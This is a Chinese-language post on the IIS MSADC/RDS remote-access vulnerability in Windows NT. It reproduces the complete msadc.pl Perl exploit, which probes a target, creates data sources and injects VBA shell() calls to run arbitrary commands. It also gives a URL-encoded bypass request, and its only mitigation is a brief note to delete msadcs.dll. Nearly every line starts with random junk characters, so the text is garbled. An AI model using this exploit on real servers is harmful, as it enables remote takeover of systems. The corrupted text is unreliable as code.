IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
B_1u<00kg 6:X\vw 涉及程序:
;qQzF Microsoft NT server
5q*~h4=r7 `qEm5+` 描述:
|/ 7's' 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
Vi~+C@96 ?=Qg 详细:
;Q 6e&Ips/ 如果你没有时间读详细内容的话,就删除:
?XrTZ{5' c:\Program Files\Common Files\System\Msadc\msadcs.dll
oMf h|B 有关的安全问题就没有了。
`{;&Qcg6m ,o6: V]a 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
f2XD^:Gc 'v5gg2 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
<T9m.:l 关于利用ODBC远程漏洞的描述,请参看:
7]53GGNO !I$RE?7eY http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm %gB0D8,vo $*> _0{< 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
%8}w!2D S http://www.microsoft.com/security/bulletins/MS99-025faq.asp p8bTR!rvz $l0w {m!P 这里不再论述。
6d6SP)|j 7qp|Msf}, 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
.v!e=i}. XS@6jbLE /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
jR:Fih-} 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
<Z_`^~! u{^Kyo#v Ml
^Tb# #将下面这段保存为txt文件,然后: "perl -x 文件名"
H%V[%
T4= P40eK0e6 #!perl
j'cS_R #
M3;B]iRQD # MSADC/RDS 'usage' (aka exploit) script
^hJ,1{o #
gE#,QOy # by rain.forest.puppy
X[}%iEWzT #
> ^}z # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
l"Q8` # beta test and find errors!
\v_(* 0SYkDI use Socket; use Getopt::Std;
UNae&Zir getopts("e:vd:h:XR", \%args);
;E_{Zji_e j=LF1dG" print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
n9yxZu ;2~Q97c0 if (!defined $args{h} && !defined $args{R}) {
,GlK_-6> print qq~
8B5%IgA Usage: msadc.pl -h <host> { -d <delay> -X -v }
~1oD7=WN -h <host> = host you want to scan (ip or domain)
s.R(3}/ -d <seconds> = delay between calls, default 1 second
,#6\:i -X = dump Index Server path table, if available
|ouk;r24V -v = verbose
?aui q -e = external dictionary file for step 5
nEYJ?_55 6=k^gH[g Or a -R will resume a command session
W\ckt]' C}Q2UK-: ~; exit;}
ub&1L_K $qqusa}`K $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
([|M,P6e)U if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
/uWON4 if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
@\a- = if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
SF7Kb `>Y $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
bhRpYP%x if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
~F-,Q_|- J.*=7zmw if (!defined $args{R}){ $ret = &has_msadc;
4{_5z7ody die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
IM+PjYJ G[mYx[BTz print "Please type the NT commandline you want to run (cmd /c assumed):\n"
^AN9m]P . "cmd /c ";
9b0Z
Ey{ $in=<STDIN>; chomp $in;
9bB~r[k $command="cmd /c " . $in ;
F&Gb[Q&a8 *,(`%b[ if (defined $args{R}) {&load; exit;}
PSE![whK 2WoB ;= print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
Z-p_hN b &try_btcustmr;
?$?Ni)Z )`)cB)s print "\nStep 2: Trying to make our own DSN...";
AQ&;y&+QR &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
nsPM`dz/ #S"=)BZ8L print "\nStep 3: Trying known DSNs...";
? DPL7 &known_dsn;
m{g{"=}YR JkKI/5h print "\nStep 4: Trying known .mdbs...";
?^hC|IR$ &known_mdb;
bvoR?D\-" 8WvT0q>] if (defined $args{e}){
gP}M\3-O print "\nStep 5: Trying dictionary of DSN names...";
p(v.sP4w &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
qnOAIP:0 .hvIq
.vr print "Sorry Charley...maybe next time?\n";
gG}<l ': exit;
7"gy\_M *ce h
]v ##############################################################################
Zffzyh ]8RcZn sub sendraw { # ripped and modded from whisker
_^KD&t%!+y sleep($delay); # it's a DoS on the server! At least on mine...
+=||c\' my ($pstr)=@_;
UW\.!TV socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
JLjx4B\ die("Socket problems\n");
kWgxswl7H if(connect(S,pack "SnA4x8",2,80,$target)){
?xy~N?N select(S); $|=1;
Ij"`pdp print $pstr; my @in=<S>;
@Fo0uy\G select(STDOUT); close(S);
6JJ%`Uojh return @in;
;lP) } else { die("Can't connect...\n"); }}
Gv<K#@9T lO:[^l?F ##############################################################################
:Bl $c,J f;QWlh"9 sub make_header { # make the HTTP request
K(hqDif*6 my $msadc=<<EOT
mp}ZHuf G POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
!bQ5CB User-Agent: ACTIVEDATA
BwbvZfV| Host: $ip
7dAa~!/( Content-Length: $clen
m#Rll[ Connection: Keep-Alive
Z(Xu>ap D{c`H}/` ADCClientVersion:01.06
[N{Rd[{QTL Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
n:HF&j4C, uA,K}sNRZ --!ADM!ROX!YOUR!WORLD!
zg[ksny Content-Type: application/x-varg
CB|Z~_Bm Content-Length: $reqlen
z1s9[5 E:#VS~ EOT
QH;1* ; $msadc=~s/\n/\r\n/g;
kZfO`BVL return $msadc;}
TTS}, ` lr=*Ty(V ##############################################################################
xCGvLvFn hmQD-E{Ab sub make_req { # make the RDS request
{~ VgXkjsC my ($switch, $p1, $p2)=@_;
(C1]R41' my $req=""; my $t1, $t2, $query, $dsn;
&vo]l~. )0YMi!&j` if ($switch==1){ # this is the btcustmr.mdb query
s<tdn[d $query="Select * from Customers where City=" . make_shell();
"|(+~8[ $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
` O-$qT,_ $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
Vc}m_T]O g?)9zJ9 elsif ($switch==2){ # this is general make table query
.pK_j~}P $query="create table AZZ (B int, C varchar(10))";
3}2'PC $dsn="$p1";}
(eFHMRMv~ Mvu! elsif ($switch==3){ # this is general exploit table query
^I@43Jy/ $query="select * from AZZ where C=" . make_shell();
Z#%4QIz? $dsn="$p1";}
Ub%5# <k|- ohOze\T)= elsif ($switch==4){ # attempt to hork file info from index server
[PdatL2 $query="select path from scope()";
bR(rZu5 $dsn="Provider=MSIDXS;";}
N.l+9L0b 9ssTG4Sa elsif ($switch==5){ # bad query
kO+Y5z6= $query="select";
[g`P(? $dsn="$p1";}
A7C+-N p$0G EYwM $t1= make_unicode($query);
`,3;#.[D $t2= make_unicode($dsn);
/z.Y<xOc $req = "\x02\x00\x03\x00";
:D""c* $req.= "\x08\x00" . pack ("S1", length($t1));
)k&<D*5s $req.= "\x00\x00" . $t1 ;
l q~^&\_# $req.= "\x08\x00" . pack ("S1", length($t2));
nn5tOV}QE $req.= "\x00\x00" . $t2 ;
OTY9Q $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
sB"Oi|#lk return $req;}
IVjH.BzH9 |7LhE+E ##############################################################################
Tu"bbc %wzDBsX sub make_shell { # this makes the shell() statement
kI<;rP1S| return "'|shell(\"$command\")|'";}
omevF>b; <l opk('7 ##############################################################################
JK))Cuh JR] /\( sub make_unicode { # quick little function to convert to unicode
W$>srdG0$ my ($in)=@_; my $out;
?Z9C}t] for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
!<BJg3 return $out;}
:m#[V7
j")#"& m ##############################################################################
NCR4n_ +m8CN(c sub rdo_success { # checks for RDO return success (this is kludge)
n;+CV~ my (@in) = @_; my $base=content_start(@in);
+GqK$B(x7 if($in[$base]=~/multipart\/mixed/){
-}#=L@ return 1 if( $in[$base+10]=~/^\x09\x00/ );}
ieo Naq return 0;}
JcV'O)& LS;j]!CU ##############################################################################
X$Eg(^L a Yz7H@Y2i sub make_dsn { # this makes a DSN for us
jeLRS8]; my @drives=("c","d","e","f");
Lu?MRF
f print "\nMaking DSN: ";
m.!n|_}] foreach $drive (@drives) {
goBl~fqy0 print "$drive: ";
qw?#~"Ca. my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
y.vYT{^ "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
b* (~8JxZ . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
E0HXB1" $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
K
?uHAm return 0 if $2 eq "404"; # not found/doesn't exist
rG[iEY if($2 eq "200") {
^EtBo7^t
foreach $line (@results) {
8[v9|r return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
[l#
8}dy } return 0;}
:DWvH,{+& l/*NscYtQ ##############################################################################
c+S<U* a9LK}xc={ sub verify_exists {
''D\E6c\ my ($page)=@_;
[7Fx#o=da my @results=sendraw("GET $page HTTP/1.0\n\n");
fhwJ return $results[0];}
=bKz$
_W Z01BzIsR ##############################################################################
a%nksuP3 Cj/J&PDQ sub try_btcustmr {
&,*G}6wa;& my @drives=("c","d","e","f");
,i]X^z5! my @dirs=("winnt","winnt35","winnt351","win","windows");
qe/dWJBa 9N[(f-` foreach $dir (@dirs) {
;r8<
Ed print "$dir -> "; # fun status so you can see progress
zjE|UK{ foreach $drive (@drives) {
+4
W6{` print "$drive: "; # ditto
W _b!FQ] $reqlen=length( make_req(1,$drive,$dir) ) - 28;
C\`*_t $reqlenlen=length( "$reqlen" );
qX9x#92 $clen= 206 + $reqlenlen + $reqlen;
/E %^s3S. &0`[R*S my @results=sendraw(make_header() . make_req(1,$drive,$dir));
Sgp1p} if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
`/"*_AKAI else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
y/vGt_^;3< %VH{bpS|i: ##############################################################################
WY& [%r !+EE*-c1c sub odbc_error {
faIHmU my (@in)=@_; my $base;
eo [eN. my $base = content_start(@in);
wH0m^?a!3 if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
xfzGixA $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
hU|TP3* $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
<$>Jsv $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
K@<%Vc>L( return $in[$base+4].$in[$base+5].$in[$base+6];}
"?HDv WP=w print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
+tCNJ<S@l$ print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
Vi*HG &DD $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
6%A_PP3Z .,*68S0k7 ##############################################################################
S x0QPX qP5'&!s&! sub verbose {
&:?2IAe my ($in)=@_;
$8{v_2C){ return if !$verbose;
V48o+ O print STDOUT "\n$in\n";}
Q<O(Ix MhL>6rn ##############################################################################
b?]Lx.l- ym*oCfu= sub save {
G~X93J my ($p1, $p2, $p3, $p4)=@_;
zDohp 5, open(OUT, ">rds.save") || print "Problem saving parameters...\n";
lF#p1H>\ print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
%1Nank!Zj close OUT;}
!v\_<8 9g~"Y[ ] ##############################################################################
_%gu<Ys `G_k~ % sub load {
Bm$(4 my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
n\w2e_g;N open(IN,"<rds.save") || die("Couldn't open rds.save\n");
[k{2)g @p=<IN>; close(IN);
R>;m6Rb_ $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
\'hZm%S $target= inet_aton($ip) || die("inet_aton problems");
J e"~/+ print "Resuming to $ip ...";
"n%0L4J $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
L_O*?aaZ if($p[1]==1) {
GyQ9we~ $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
]AB'POa $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
',bSJ4)Y my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
?2nF1>1 if (rdo_success(@results)){print "Success!\n";}
[Ol~}@gV else { print "failed\n"; verbose(odbc_error(@results));}}
EPiZe- elsif ($p[1]==3){
!4mg]~G if(run_query("$p[3]")){
DkJ "#8Yl= print "Success!\n";} else { print "failed\n"; }}
*Y`c.n" elsif ($p[1]==4){
x%RG>),U if(run_query($drvst . "$p[3]")){
7'zXf)! print "Success!\n"; } else { print "failed\n"; }}
@/W~lJ!e exit;}
d:8c}t2X Xy]Pmt ##############################################################################
?rxq//S2 y
Q-{
CJ, sub create_table {
,X}Jpi;/ my ($in)=@_;
%$[#/H7=W $reqlen=length( make_req(2,$in,"") ) - 28;
H&SoVi_V $reqlenlen=length( "$reqlen" );
~UNK[ $clen= 206 + $reqlenlen + $reqlen;
`e4gneQY my @results=sendraw(make_header() . make_req(2,$in,""));
v%@)I_6[P return 1 if rdo_success(@results);
bPA >xAH my $temp= odbc_error(@results); verbose($temp);
N;S1s0FN return 1 if $temp=~/Table 'AZZ' already exists/;
v2jpao<K return 0;}
$*+IsP! "[dfb#0z` ##############################################################################
} /*U~!t n?:%>O s$ sub known_dsn {
N|e#& # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
7q(A& my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
]Ns)fr6 "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
2 9#jKh "banner", "banners", "ads", "ADCDemo", "ADCTest");
/m|U2rrqb p(!d,YSE foreach $dSn (@dsns) {
Sjp ]TWj print ".";
Qs,4PPEg next if (!is_access("DSN=$dSn"));
Hu$y8_Udw if(create_table("DSN=$dSn")){
X/ lmj_v print "$dSn successful\n";
+~$pkxD" if(run_query("DSN=$dSn")){
4 '5|YGQj print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
Xp[x O 0 print "Something's borked. Use verbose next time\n";}}} print "\n";}
g.pR4Mf=Z 2b
K1.BD ##############################################################################
B \LmE+a> m "96%sB sub is_access {
g OK my ($in)=@_;
_tRRIW"Vx" $reqlen=length( make_req(5,$in,"") ) - 28;
_<KUa\ $reqlenlen=length( "$reqlen" );
yoH,4,! G $clen= 206 + $reqlenlen + $reqlen;
e'MW"uCP} my @results=sendraw(make_header() . make_req(5,$in,""));
1:!H`*DU& my $temp= odbc_error(@results);
E>iN > verbose($temp); return 1 if ($temp=~/Microsoft Access/);
`|2g&Vn return 0;}
'+\t,>nRkl t:"3MiM=c ##############################################################################
erhez ;I?x;lH sub run_query {
fejC,H4I my ($in)=@_;
JvK]EwR
; $reqlen=length( make_req(3,$in,"") ) - 28;
MdN0 Y@Ll $reqlenlen=length( "$reqlen" );
2;(+]Ad< $clen= 206 + $reqlenlen + $reqlen;
+D2I~hC0' my @results=sendraw(make_header() . make_req(3,$in,""));
[X91nUz# return 1 if rdo_success(@results);
Gt+rVJ=v my $temp= odbc_error(@results); verbose($temp);
`?O0) return 0;}
]6F\a= J P)cEYk ##############################################################################
)xiu
\rC e^'|<0J sub known_mdb {
2$ &B@\WY my @drives=("c","d","e","f","g");
\2]_NU5. my @dirs=("winnt","winnt35","winnt351","win","windows");
fY6~Z
BvK my $dir, $drive, $mdb;
lh[?`+A my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
XDHi4i47`o i4]oE&G # this is sparse, because I don't know of many
BNj_f my @sysmdbs=( "\\catroot\\icatalog.mdb",
k(M:#oA! "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
'uE;8., "\\system32\\certmdb.mdb",
Svb>s|D "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
#?V rt,n :.r_4$F: my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
!-.GfI:q "\\cfusion\\cfapps\\forums\\forums_.mdb",
AL.psw-Il "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
6T4I,XrY_F "\\cfusion\\cfapps\\security\\realm_.mdb",
{}$Zff "\\cfusion\\cfapps\\security\\data\\realm.mdb",
.r2*tB). "\\cfusion\\database\\cfexamples.mdb",
L SP p "\\cfusion\\database\\cfsnippets.mdb",
(0B?OkQ "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
yIrJaS- "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
OZ+v ~'oD "\\cfusion\\brighttiger\\database\\cleam.mdb",
vbVOWX6 "\\cfusion\\database\\smpolicy.mdb",
\+l*ZNYM3 "\\cfusion\\database\cypress.mdb",
Pc_aEBq "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
8;V9%h`P> "\\website\\cgi-win\\dbsample.mdb",
,zltNbu\.( "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
pF4Z4?W "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
__2<v?\ ); #these are just
D:;idUO foreach $drive (@drives) {
Rd&DH_<+^ foreach $dir (@dirs){
W*t]
d foreach $mdb (@sysmdbs) {
xEp?|Q$ print ".";
5,pNqXRp if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
%VH, (}i print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
Aeb(b+= if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
QYboX~g~p print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
lQ-<T<g } else { print "Something's borked. Use verbose next time\n"; }}}}}
B*,)@h $[A\i<# foreach $drive (@drives) {
D]]wJQU2 foreach $mdb (@mdbs) {
1|(Q| print ".";
BG+i tyH if(create_table($drv . $drive . $dir . $mdb)){
d=PX}o^ print "\n" . $drive . $dir . $mdb . " successful\n";
!g9k9 l if(run_query($drv . $drive . $dir . $mdb)){
Bchv1KF print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
BVw2skOT } else { print "Something's borked. Use verbose next time\n"; }}}}
y
%Q. ( }
=/!lK& Gv_~@MN ##############################################################################
V0=%$tH IWQ0I&tzdx sub hork_idx {
rG}e\ziKuj print "\nAttempting to dump Index Server tables...\n";
(Jk&U8y print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
1)56ec<c $reqlen=length( make_req(4,"","") ) - 28;
_^r};}-} $reqlenlen=length( "$reqlen" );
#wI}93E $clen= 206 + $reqlenlen + $reqlen;
j#1G?MF my @results=sendraw2(make_header() . make_req(4,"",""));
UqOBr2UmG if (rdo_success(@results)){
mdWA5p( my $max=@results; my $c; my %d;
#h5lz%2g for($c=19; $c<$max; $c++){
m&:&z7^p $results[$c]=~s/\x00//g;
R}ki%i5| $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
v;x0=I&% $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
HIXAA?_eh= $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
\8 `7E1d $d{"$1$2"}="";}
s;BMj^x foreach $c (keys %d){ print "$c\n"; }
j
uA@"SG } else {print "Index server doesn't seem to be installed.\n"; }}
>A$L&8'C l 88= ##############################################################################
eV[{c %wN: xB
*b7-a sub dsn_dict {
R2,9%!iiX open(IN, "<$args{e}") || die("Can't open external dictionary\n");
m,k0 h% while(<IN>){
?woL17Gt $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
E#$Jg|e next if (!is_access("DSN=$dSn"));
}QFL if(create_table("DSN=$dSn")){
*;fTiL print "$dSn successful\n";
5/=$p:E> if(run_query("DSN=$dSn")){
1dQAo1 print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
;@wa\H[3v2 print "Something's borked. Use verbose next time\n";}}}
(Q*q#U print "\n"; close(IN);}
X:GRjoa GV0\+A"vD ##############################################################################
Kh]es,$D y2A\7&7 sub sendraw2 { # ripped and modded from whisker
ZISIW! sleep($delay); # it's a DoS on the server! At least on mine...
_3`GZeGV my ($pstr)=@_;
cNWmaCLN$ socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
>w3C
Ku< die("Socket problems\n");
gP%<<yl if(connect(S,pack "SnA4x8",2,80,$target)){
2(eO5.FYF print "Connected. Getting data";
U,WOP7z open(OUT,">raw.out"); my @in;
[vi
=^ select(S); $|=1; print $pstr;
w
<r*& while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
j1_>>xB close(OUT); select(STDOUT); close(S); return @in;
~c EN=(Z~r } else { die("Can't connect...\n"); }}
A;co1,]gR 56pj(}eq ##############################################################################
)G2Bx+Z;L {"p ~M7 sub content_start { # this will take in the server headers
6s@!Yn|? my (@in)=@_; my $c;
)z7CT|h7S for ($c=1;$c<500;$c++) {
jJ2rfdfj if($in[$c] =~/^\x0d\x0a/){
4@{;z4*` if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
59.$;Ip;g else { return $c+1; }}}
1I2ndt return -1;} # it should never get here actually
nAP*w6m0j ie1~QQ ##############################################################################
J_)F/S!T L` [iI sub funky {
/Z2u0jNArP my (@in)=@_; my $error=odbc_error(@in);
) 8xbc&M if($error=~/ADO could not find the specified provider/){
\; XJ$~> print "\nServer returned an ADO miscofiguration message\nAborting.\n";
g3ukx$Q{> exit;}
! Vl)aL if($error=~/A Handler is required/){
=ls+vH40& print "\nServer has custom handler filters (they most likely are patched)\n";
"smU5 s,P exit;}
xhALJfv if($error=~/specified Handler has denied Access/){
W%rUa&00 print "\nServer has custom handler filters (they most likely are patched)\n";
%qV:h# exit;}}
7^>~k}H @kSfF[4H ##############################################################################
2z;nPup, i6bUJtL sub has_msadc {
N!7?D'y
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
"C}<umJ' my $base=content_start(@results);
z^wod return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
;-JF1p 7; return 0;}
whN<{AG `"~GqFwy~ ########################
n%WjU)< N(i.E5&9 p63fpnH 解决方案:
eJf]"- 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
fx>QP?Z 2、移除web 目录: /msadc